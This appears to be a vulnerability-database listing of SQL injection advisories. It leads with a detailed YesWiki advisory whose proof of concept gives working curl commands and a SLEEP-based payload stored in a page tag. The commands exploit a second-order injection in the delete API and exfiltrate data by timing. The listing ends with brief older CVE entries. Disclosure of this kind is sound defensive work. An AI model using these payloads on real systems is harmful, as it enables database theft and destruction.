CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
28333 vulnerabilities reference this CWE, most recent first.
GHSA-8F2V-2QHJ-GFWG
Vulnerability from github – Published: 2026-07-09 21:00 – Updated: 2026-07-09 21:00Summary
ApiController::deletePage() interpolates a page tag retrieved from the database into a DELETE FROM …_links WHERE to_tag = '$tag' query without escaping. The page tag is attacker-controlled — the POST /api/pages/{tag} API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard {{include page="…"}} link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.
This is a classic second-order SQL injection: the INSERT correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the read-back-and-reuse path, where escaping is omitted.
Details
Affected component
- File:
includes/controllers/ApiController.php - Method:
ApiController::deletePage($tag) - Route:
@Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}})—acl:"+"means any authenticated user. - Sink: line 626
// includes/controllers/ApiController.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 607–631)
public function deletePage($tag)
{
$pageManager = $this->getService(PageManager::class);
$pageController = $this->getService(PageController::class);
$dbService = $this->getService(DbService::class);
...
try {
$page = $pageManager->getOne($tag, null, false); // (a) safe SELECT
if (empty($page)) { ... } else {
$tag = isset($page['tag']) ? $page['tag'] : $tag;// ^ raw tag from DB
$result['notDeleted'] = [$tag];
if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {
if (!$pageManager->isOrphaned($tag)) {
$dbService->query(
"DELETE FROM {$dbService->prefixTable('links')}
WHERE to_tag = '$tag'"); // (b) SINK — unescaped
}
...
The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:
tools/tags/handlers/page/__deletepage.phpline 14 -DELETE … WHERE to_tag = '$tag', where$tag = $this->GetPageTag()is again the raw stored tag.handlers/page/deletepage.phplines 93–94 -LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '" . $this->GetPageTag() . "'"), same pattern as a SELECT instead of a DELETE.
The API path is the easiest sink to reach because it requires only acl:"+" and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler
A low-privilege account can carry the whole chain:
- Plant —
POST /api/pages/{evil}with body=anything.PageManager::save()escapes the tag at INSERT time ('\''in SQL ⇒ stored'), so the tag persists with its single quote intact. The new page is owned by the attacker, soUserIsOwner($tag)in the delete handler will return true. - Make non-orphaned — save any second page whose body contains
{{include page="<evil>"}}through the web edit handler.LinkTracker::preventTrackingActions()parses the include directive, looks up the referenced page (PageManager::getOne()finds it because lookup usesescape(), which matches the stored quote), andLinkTracker::persist()inserts a row(from_tag='Linker', to_tag='<evil>')into_links— again withescape()on the way in, so the raw quote round-trips. - Trigger —
DELETE /api/pages/{evil}. The delete handler reads the page (escaped SELECT, finds the row), assigns$tag = $page['tag'](the raw stored value, including'), runsisOrphaned($tag)(escaped SELECT, returns not orphaned because step 2 inserted a row), and then runs the unescapedDELETE FROM …_links WHERE to_tag = '$tag'. The SQL parser sees the attacker-controlled'as the end of the string literal; everything after it is treated as SQL.
The injection point is WHERE to_tag = '<here>' — any payload of the form <anything>' <SQL>-- works. With time-based primitives (SLEEP), the attacker reads any byte of any row of any table the wiki account can see.
End to End Steps to reproduce the issue
- Preflight
- lab is up at http://localhost:8085
- Logging in
- admin 'WikiAdmin' and low-priv 'TestUser01' both logged in
- Tier 1 - POST /api/pages/ (as TestUser01)
- PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '
- Tier 2 - make the evil page non-orphaned
- PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)--
- Tier 2 - DELETE /api/pages/ (as TestUser01)
- baseline (non-existent tag) : 0.468s
- exploit (SLEEP(2) in tag) : 2.555s
- delta : 2.087s
- PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626
- Tier 3 - time-based blind data exfiltration
- char='w' elapsed=0.505s miss
- char='x' elapsed=0.495s miss
- char='y' elapsed=3.522s <- HIT
- char='z' elapsed=0.662s miss
- PROOF : conditional SLEEP fired only for 'y'
RESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.
PoC
Pre Reqs
Had the following things setup in advance:
- Yeswiki v4.6.5 lab image (Setup via podman)
- Admin & User Account setup.
Parts used across PoC:
- Site responding at
http://localhost:8085 - Admin account:
WikiAdmin / AdminPoc12345 - Low-priv account:
TestUser01 / TestPass12345(this is the attacker)
For the rest of this document, set:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
PREFIX="yeswiki_"
CJ=/tmp/yw_user.txt # cookie jar for our low-priv attacker
Confirm the vulnerable line is actually there:
podman exec "$CTR" \
grep -n "DELETE FROM.*links.*WHERE to_tag" \
/var/www/html/includes/controllers/ApiController.php
Expected output:
626: $dbService->query("DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'");
Log in as the low-privilege attacker. We will get the session in return
rm -f "$CJ"
curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \
--data-urlencode "action=login" --data-urlencode "context=LoginPoc" \
--data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" \
--data-urlencode "remember=1"
# Verify the session is logged in:
SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}')
podman exec -u root "$CTR" grep '^user|' "/tmp/sess_${SID}"
Plant a page whose tag contains SQL meta-characters.
The Symfony route accepts the default [^/]+ regex for {tag}, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the stored byte string still contains the literal '. That is the seed of the second-order bug.
EVIL_TAG="SleepTag' OR SLEEP(2)-- "
EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \
podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));')
echo "raw tag : $EVIL_TAG"
echo "URL-encoded : $EVIL_ENC"
curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \
--data-urlencode "body=poc"
- The API accepted a tag with a literal
'and SQL keywords, completely unsanitized. - The single quote round-tripped through
PageManager::save()'sescape()and is now sitting in the database byte-for-byte asSleepTag' OR SLEEP(2)--— exactly what an attacker needs the read-back to return. TestUser01is the owner, so the eventualUserIsOwner($tag)check in the delete handler will pass for them.
Now, create a second page that will link to the evil page
The sink at L626 is gated by if (!$pageManager->isOrphaned($tag)). To pass it, the evil tag has to appear as a to_tag somewhere in the _links table. The cleanest way is the legitimate {{include page="…"}} mechanism: a page whose body references the evil tag will register a link.
First, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):
curl -s -b "$CJ" -X POST "${BASE}/?api/pages/LinkPoc" \
--data-urlencode "body=placeholder"
# Grab its id — we'll need it for the edit form's hidden "previous" field
LINKID=$(podman exec "$CTR" mysql -uroot yeswiki -N -e \
"SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';")
echo "LinkPoc id = $LINKID"
Make the evil page non-orphaned (web edit handler)
Submit a web-editor save with body {{include page="<evil tag>"}}. The pre-handler tools/security/handlers/page/__edit.php would normally require a hashcash token, but env/install.sh disables use_hashcash so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.
NEW_BODY='{{include page="SleepTag'"'"' OR SLEEP(2)-- "}} rev-1'
curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/edit" \
--data-urlencode "submit=Sauver" \
--data-urlencode "previous=${LINKID}" \
--data-urlencode "body=${NEW_BODY}"
- The web edit handler called
LinkTracker::registerLinks($page, false, false)(handlers/page/edit.php:69). registerLinks()formatted the page body and reachedpreventTrackingActions()(includes/services/LinkTracker.php:160).- That regex extracted
SleepTag' OR SLEEP(2)--from{{include page="…"}}, calledPageManager::getOne(<extracted>)which found the page (lookup usesescape(), so a stored'still matches), and called$this->add($page['tag']). LinkTracker::persist()then inserted(from_tag='LinkPoc', to_tag='<evil tag, raw quote>')into_links.
Proves: the second-order data has now been planted on both sides of the join the vulnerable DELETE query touches.
We need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist:
T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/NonExistent99" -o /dev/null
T1=$(date +%s.%N)
awk "BEGIN{printf \"baseline elapsed: %.3fs\n\", $T1-$T0}"
Expected output: baseline elapsed: ~0.3–0.7 s (one-shot HTTP round-trip + a fast SELECT … WHERE tag = …). Record this number.
Trigger the SQLi (Tier 2 - the actual vulnerability fires)
Issue a DELETE /api/pages/<evil tag>. The handler reads the page back from the DB, sees the row, takes $tag = $page['tag'] (the raw stored value, still containing '), checks isOrphaned() (returns not orphaned because step 5 inserted a row), and runs the unescaped DELETE on L626. With our tag, that becomes:
DELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- '
^^^ ^^^^^^^^^^^^^^^^
| injected SQL
breakout
SLEEP(2) runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.
T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL_ENC}" -o /tmp/yw_del.json
T1=$(date +%s.%N)
awk "BEGIN{printf \"exploit elapsed: %.3fs\n\", $T1-$T0}"
echo "--- response ---"
cat /tmp/yw_del.json; echo
Expected output (the precise timing varies by host, but the delta relative to step 6 is what matters):
exploit elapsed: 2.555s
--- response ---
{"deleted":["SleepTag' OR SLEEP(2)-- "]}
Impact
- Blind extraction of any column the wiki database account can read: user password hashes (
_users.password), email addresses, ACLs (_acls.list), private page bodies (_pages.body), database session data, etc. - The sink is a
DELETE; an attacker can appendOR 1=1--to wipe the entire_linkstable, breaking inter-page navigation site-wide. The path can also be combined withUNION-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive). SLEEP()per row scales with link-table size; a malicious tag withSLEEP(60)on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool._users.passwordhashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a low-priv → admin primitive, and chains with the bazar deserialization bug (separate advisory) as low-priv → admin → object injection / future RCE
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52771"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T21:00:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n`ApiController::deletePage()` interpolates a page tag retrieved from the database into a `DELETE FROM \u2026_links WHERE to_tag = \u0027$tag\u0027` query without escaping. The page tag is attacker-controlled \u2014 the `POST /api/pages/{tag}` API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard `{{include page=\"\u2026\"}}` link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.\n\nThis is a **classic second-order SQL injection**: the `INSERT` correctly escapes the value, so the malicious tag is stored intact and the input passes every \"is this value safe to put in the database?\" check; the sink is the *read-back-and-reuse* path, where escaping is omitted.\n\n## Details\n### Affected component\n\n* **File:** `includes/controllers/ApiController.php`\n* **Method:** `ApiController::deletePage($tag)`\n* **Route:** `@Route(\"/api/pages/{tag}\", methods={\"DELETE\"}, options={\"acl\":{\"+\"}})` \u2014 `acl:\"+\"` means *any authenticated user*.\n* **Sink:** line 626\n\n```php\n// includes/controllers/ApiController.php (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 607\u2013631)\npublic function deletePage($tag)\n{\n $pageManager = $this-\u003egetService(PageManager::class);\n $pageController = $this-\u003egetService(PageController::class);\n $dbService = $this-\u003egetService(DbService::class);\n ...\n try {\n $page = $pageManager-\u003egetOne($tag, null, false); // (a) safe SELECT\n if (empty($page)) { ... } else {\n $tag = isset($page[\u0027tag\u0027]) ? $page[\u0027tag\u0027] : $tag;// ^ raw tag from DB\n $result[\u0027notDeleted\u0027] = [$tag];\n if ($this-\u003ewiki-\u003eUserIsOwner($tag) || $this-\u003ewiki-\u003eUserIsAdmin()) {\n if (!$pageManager-\u003eisOrphaned($tag)) {\n $dbService-\u003equery(\n \"DELETE FROM {$dbService-\u003eprefixTable(\u0027links\u0027)}\n WHERE to_tag = \u0027$tag\u0027\"); // (b) SINK \u2014 unescaped\n }\n ...\n```\n\nThe same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:\n\n* `tools/tags/handlers/page/__deletepage.php` line 14 - `DELETE \u2026 WHERE to_tag = \u0027$tag\u0027`, where `$tag = $this-\u003eGetPageTag()` is again the raw stored tag.\n* `handlers/page/deletepage.php` lines 93\u201394 - `LoadAll(\u0027SELECT DISTINCT from_tag FROM \u2026links WHERE to_tag = \u0027\" . $this-\u003eGetPageTag() . \"\u0027\")`, same pattern as a SELECT instead of a DELETE.\n\nThe API path is the easiest sink to reach because it requires only `acl:\"+\"` and a single HTTP request; the other two require a logged-in user to navigate to the page\u0027s delete handler\n\nA low-privilege account can carry the whole chain:\n\n1. **Plant** \u2014 `POST /api/pages/{evil}` with body=anything. `PageManager::save()` escapes the tag at INSERT time (`\u0027\\\u0027\u0027` in SQL \u21d2 stored `\u0027`), so the tag persists with its single quote intact. The new page is owned by the attacker, so `UserIsOwner($tag)` in the delete handler will return true.\n2. **Make non-orphaned** \u2014 save *any* second page whose body contains `{{include page=\"\u003cevil\u003e\"}}` through the web edit handler. `LinkTracker::preventTrackingActions()` parses the include directive, looks up the referenced page (`PageManager::getOne()` finds it because lookup uses `escape()`, which matches the stored quote), and `LinkTracker::persist()` inserts a row `(from_tag=\u0027Linker\u0027, to_tag=\u0027\u003cevil\u003e\u0027)` into `_links` \u2014 again with `escape()` on the way in, so the raw quote round-trips.\n3. **Trigger** \u2014 `DELETE /api/pages/{evil}`. The delete handler reads the page (escaped SELECT, finds the row), assigns `$tag = $page[\u0027tag\u0027]` (the raw stored value, including `\u0027`), runs `isOrphaned($tag)` (escaped SELECT, returns *not* orphaned because step 2 inserted a row), and then runs the **unescaped** `DELETE FROM \u2026_links WHERE to_tag = \u0027$tag\u0027`. The SQL parser sees the attacker-controlled `\u0027` as the end of the string literal; everything after it is treated as SQL.\n\nThe injection point is `WHERE to_tag = \u0027\u003chere\u003e\u0027` \u2014 any payload of the form `\u003canything\u003e\u0027 \u003cSQL\u003e-- ` works. With time-based primitives (`SLEEP`), the attacker reads any byte of any row of any table the wiki account can see.\n\n### End to End Steps to reproduce the issue\n\n1. Preflight\n * lab is up at http://localhost:8085\n2. Logging in\n * admin \u0027WikiAdmin\u0027 and low-priv \u0027TestUser01\u0027 both logged in\n3. Tier 1 - POST /api/pages/\u003cevil-tag\u003e (as TestUser01)\n * PROOF: tag stored RAW in yeswiki_pages \u2192 \u0027SleepTag\u0027 OR SLEEP(2)-- \u0027\n4. Tier 2 - make the evil page non-orphaned\n * PROOF: yeswiki_links row \u2192 LinkPoc-\u003eSleepTag\u0027 OR SLEEP(2)--\n5. Tier 2 - DELETE /api/pages/\u003cevil-tag\u003e (as TestUser01)\n * baseline (non-existent tag) : 0.468s\n * exploit (SLEEP(2) in tag) : 2.555s\n * delta : 2.087s\n * PROOF : \u0394 \u2265 1.5 s \u2192 SLEEP(2) ran inside the DELETE on L626\n6. Tier 3 - time-based blind data exfiltration\n * char=\u0027w\u0027 elapsed=0.505s miss\n * char=\u0027x\u0027 elapsed=0.495s miss\n * char=\u0027y\u0027 elapsed=3.522s \u003c- HIT\n * char=\u0027z\u0027 elapsed=0.662s miss\n * PROOF : conditional SLEEP fired only for \u0027y\u0027\n\nRESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.\n\n## PoC\n### Pre Reqs\n\nHad the following things setup in advance: \n\n1. Yeswiki v4.6.5 lab image (Setup via podman)\n3. Admin \u0026 User Account setup. \n\nParts used across PoC:\n\n* Site responding at `http://localhost:8085`\n* Admin account: `WikiAdmin / AdminPoc12345`\n* Low-priv account: `TestUser01 / TestPass12345` *(this is the attacker)*\n\nFor the rest of this document, set:\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\nPREFIX=\"yeswiki_\"\nCJ=/tmp/yw_user.txt # cookie jar for our low-priv attacker\n```\n\nConfirm the vulnerable line is actually there: \n```bash\npodman exec \"$CTR\" \\\n grep -n \"DELETE FROM.*links.*WHERE to_tag\" \\\n /var/www/html/includes/controllers/ApiController.php\n```\n\n**Expected output:**\n```\n626: $dbService-\u003equery(\"DELETE FROM {$dbService-\u003eprefixTable(\u0027links\u0027)} WHERE to_tag = \u0027$tag\u0027\");\n```\n\nLog in as the low-privilege attacker. We will get the session in return\n```bash\nrm -f \"$CJ\"\ncurl -s -c \"$CJ\" -o /dev/null \"${BASE}/?LoginPoc\" \\\n --data-urlencode \"action=login\" --data-urlencode \"context=LoginPoc\" \\\n --data-urlencode \"name=TestUser01\" --data-urlencode \"password=TestPass12345\" \\\n --data-urlencode \"remember=1\"\n\n# Verify the session is logged in:\nSID=$(grep -oE \u0027YesWiki-main[[:space:]]+[a-f0-9]+\u0027 \"$CJ\" | awk \u0027{print $2}\u0027)\npodman exec -u root \"$CTR\" grep \u0027^user|\u0027 \"/tmp/sess_${SID}\"\n```\n\nPlant a page whose **tag** contains SQL meta-characters.\n\nThe Symfony route accepts the default `[^/]+` regex for `{tag}`, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the **stored** byte string still contains the literal `\u0027`. That is the seed of the second-order bug.\n\n```bash\nEVIL_TAG=\"SleepTag\u0027 OR SLEEP(2)-- \"\nEVIL_ENC=$(printf \u0027%s\u0027 \"$EVIL_TAG\" | \\\n podman exec -i \"$CTR\" php -r \u0027echo rawurlencode(file_get_contents(\"php://stdin\"));\u0027)\n\necho \"raw tag : $EVIL_TAG\"\necho \"URL-encoded : $EVIL_ENC\"\n\ncurl -s -b \"$CJ\" -X POST \"${BASE}/?api/pages/${EVIL_ENC}\" \\\n --data-urlencode \"body=poc\"\n```\n\n* The API accepted a tag with a literal `\u0027` and SQL keywords, completely unsanitized.\n* The single quote round-tripped through `PageManager::save()`\u0027s `escape()` and is now sitting in the database byte-for-byte as `SleepTag\u0027 OR SLEEP(2)-- ` \u2014 exactly what an attacker needs the read-back to return.\n* `TestUser01` is the owner, so the eventual `UserIsOwner($tag)` check in the delete handler will pass for them.\n\nNow, create a second page that will link to the evil page\n\nThe sink at L626 is gated by `if (!$pageManager-\u003eisOrphaned($tag))`. To pass it, the evil tag has to appear as a `to_tag` somewhere in the `_links` table. The cleanest way is the legitimate `{{include page=\"\u2026\"}}` mechanism: a page whose body references the evil tag will register a link.\n\nFirst, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):\n\n```bash\ncurl -s -b \"$CJ\" -X POST \"${BASE}/?api/pages/LinkPoc\" \\\n --data-urlencode \"body=placeholder\"\n\n# Grab its id \u2014 we\u0027ll need it for the edit form\u0027s hidden \"previous\" field\nLINKID=$(podman exec \"$CTR\" mysql -uroot yeswiki -N -e \\\n \"SELECT id FROM ${PREFIX}pages WHERE tag=\u0027LinkPoc\u0027 AND latest=\u0027Y\u0027;\")\necho \"LinkPoc id = $LINKID\"\n```\n\nMake the evil page non-orphaned (web edit handler)\n\nSubmit a web-editor save with body `{{include page=\"\u003cevil tag\u003e\"}}`. The pre-handler `tools/security/handlers/page/__edit.php` would normally require a hashcash token, but `env/install.sh` disables `use_hashcash` so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.\n\n```bash\nNEW_BODY=\u0027{{include page=\"SleepTag\u0027\"\u0027\"\u0027 OR SLEEP(2)-- \"}} rev-1\u0027\n\ncurl -sL -b \"$CJ\" -X POST \"${BASE}/?LinkPoc/edit\" \\\n --data-urlencode \"submit=Sauver\" \\\n --data-urlencode \"previous=${LINKID}\" \\\n --data-urlencode \"body=${NEW_BODY}\"\n```\n\n* The web edit handler called `LinkTracker::registerLinks($page, false, false)` (handlers/page/edit.php:69).\n* `registerLinks()` formatted the page body and reached `preventTrackingActions()` (includes/services/LinkTracker.php:160).\n* That regex extracted `SleepTag\u0027 OR SLEEP(2)-- ` from `{{include page=\"\u2026\"}}`, called `PageManager::getOne(\u003cextracted\u003e)` which found the page (lookup uses `escape()`, so a stored `\u0027` still matches), and called `$this-\u003eadd($page[\u0027tag\u0027])`.\n* `LinkTracker::persist()` then inserted `(from_tag=\u0027LinkPoc\u0027, to_tag=\u0027\u003cevil tag, raw quote\u003e\u0027)` into `_links`.\n\n**Proves:** the second-order data has now been planted on **both** sides of the join the vulnerable DELETE query touches.\n\nWe need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn\u0027t exist:\n\n```bash\nT0=$(date +%s.%N)\ncurl -s -b \"$CJ\" -X DELETE \"${BASE}/?api/pages/NonExistent99\" -o /dev/null\nT1=$(date +%s.%N)\nawk \"BEGIN{printf \\\"baseline elapsed: %.3fs\\n\\\", $T1-$T0}\"\n```\n\n**Expected output:** baseline elapsed: ~0.3\u20130.7 s (one-shot HTTP round-trip + a fast `SELECT \u2026 WHERE tag = \u2026`). Record this number.\n\nTrigger the SQLi (Tier 2 - the actual vulnerability fires)\n\nIssue a `DELETE /api/pages/\u003cevil tag\u003e`. The handler reads the page back from the DB, sees the row, takes `$tag = $page[\u0027tag\u0027]` (the **raw** stored value, still containing `\u0027`), checks `isOrphaned()` (returns *not* orphaned because step 5 inserted a row), and runs the **unescaped** DELETE on L626. With our tag, that becomes:\n\n```sql\nDELETE FROM yeswiki_links WHERE to_tag = \u0027SleepTag\u0027 OR SLEEP(2)-- \u0027\n ^^^ ^^^^^^^^^^^^^^^^\n | injected SQL\n breakout\n```\n\n`SLEEP(2)` runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.\n\n```bash\nT0=$(date +%s.%N)\ncurl -s -b \"$CJ\" -X DELETE \"${BASE}/?api/pages/${EVIL_ENC}\" -o /tmp/yw_del.json\nT1=$(date +%s.%N)\nawk \"BEGIN{printf \\\"exploit elapsed: %.3fs\\n\\\", $T1-$T0}\"\n\necho \"--- response ---\"\ncat /tmp/yw_del.json; echo\n```\n\n**Expected output (the precise timing varies by host, but the *delta* relative to step 6 is what matters):**\n\n```\nexploit elapsed: 2.555s\n--- response ---\n{\"deleted\":[\"SleepTag\u0027 OR SLEEP(2)-- \"]}\n```\n\n## Impact\n* Blind extraction of any column the wiki database account can read: user password hashes (`_users.password`), email addresses, ACLs (`_acls.list`), private page bodies (`_pages.body`), database session data, etc.\n* The sink is a `DELETE`; an attacker can append `OR 1=1-- ` to wipe the entire `_links` table, breaking inter-page navigation site-wide. The path can also be combined with `UNION`-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive).\n* `SLEEP()` per row scales with link-table size; a malicious tag with `SLEEP(60)` on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool.\n* `_users.password` hashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a **low-priv \u2192 admin** primitive, and chains with the bazar deserialization bug (separate advisory) as **low-priv \u2192 admin \u2192 object injection / future RCE**",
"id": "GHSA-8f2v-2qhj-gfwg",
"modified": "2026-07-09T21:00:14Z",
"published": "2026-07-09T21:00:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-8f2v-2qhj-gfwg"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/23d3cc124613b9428ab963b31807c08879a9c631"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)"
}
GHSA-8F44-QP29-R6J4
Vulnerability from github – Published: 2022-05-02 03:56 – Updated: 2022-05-02 03:56SQL injection vulnerability in Basic Analysis and Security Engine (BASE) before 1.4.4 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2009-4591"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-01-07T18:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in Basic Analysis and Security Engine (BASE) before 1.4.4 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.",
"id": "GHSA-8f44-qp29-r6j4",
"modified": "2022-05-02T03:56:07Z",
"published": "2022-05-02T03:56:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4591"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/53970"
},
{
"type": "WEB",
"url": "http://base.secureideas.net/news.php"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37147"
},
{
"type": "WEB",
"url": "http://secureideas.cvs.sourceforge.net/viewvc/secureideas/base-php4/docs/CHANGELOG?revision=1.359\u0026view=markup"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/3054"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8F45-M8MM-FW4R
Vulnerability from github – Published: 2022-08-27 00:00 – Updated: 2022-08-28 00:00Simple Task Scheduling System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_payment.
{
"affected": [],
"aliases": [
"CVE-2022-36683"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-26T13:15:00Z",
"severity": "CRITICAL"
},
"details": "Simple Task Scheduling System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_payment.",
"id": "GHSA-8f45-m8mm-fw4r",
"modified": "2022-08-28T00:00:32Z",
"published": "2022-08-27T00:00:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36683"
},
{
"type": "WEB",
"url": "https://github.com/k0xx11/bug_report/blob/main/vendors/oretnom23/simple-task-scheduler-system/SQLi-6.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8F4W-786J-J288
Vulnerability from github – Published: 2022-05-14 02:52 – Updated: 2022-05-14 02:52SQL injection vulnerability in administration/profiles.php in BoonEx Dolphin 7.1.4 and earlier allows remote authenticated administrators to execute arbitrary SQL commands via the members[] parameter. NOTE: this can be exploited by remote attackers by leveraging CVE-2014-4333.
{
"affected": [],
"aliases": [
"CVE-2014-3810"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-06-19T14:55:00Z",
"severity": "MODERATE"
},
"details": "SQL injection vulnerability in administration/profiles.php in BoonEx Dolphin 7.1.4 and earlier allows remote authenticated administrators to execute arbitrary SQL commands via the members[] parameter. NOTE: this can be exploited by remote attackers by leveraging CVE-2014-4333.",
"id": "GHSA-8f4w-786j-j288",
"modified": "2022-05-14T02:52:37Z",
"published": "2022-05-14T02:52:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3810"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23216"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/127148/Dolphin-7.1.4-SQL-Injection.html"
},
{
"type": "WEB",
"url": "http://www.boonex.com/forums/topic/Medium-Risk-Security-Vulnerability-in-Dolphin-7-1.htm"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/532468/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/68091"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8F5X-FHG4-VXQ6
Vulnerability from github – Published: 2022-05-17 00:33 – Updated: 2022-05-17 00:33SQL injection vulnerability in admin/login.php in DeltaScripts PHP Shop 1.0 allows remote attackers to execute arbitrary SQL commands via the admin_username parameter. NOTE: some of these details are obtained from third party information.
{
"affected": [],
"aliases": [
"CVE-2008-5648"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-12-17T18:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in admin/login.php in DeltaScripts PHP Shop 1.0 allows remote attackers to execute arbitrary SQL commands via the admin_username parameter. NOTE: some of these details are obtained from third party information.",
"id": "GHSA-8f5x-fhg4-vxq6",
"modified": "2022-05-17T00:33:00Z",
"published": "2022-05-17T00:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5648"
},
{
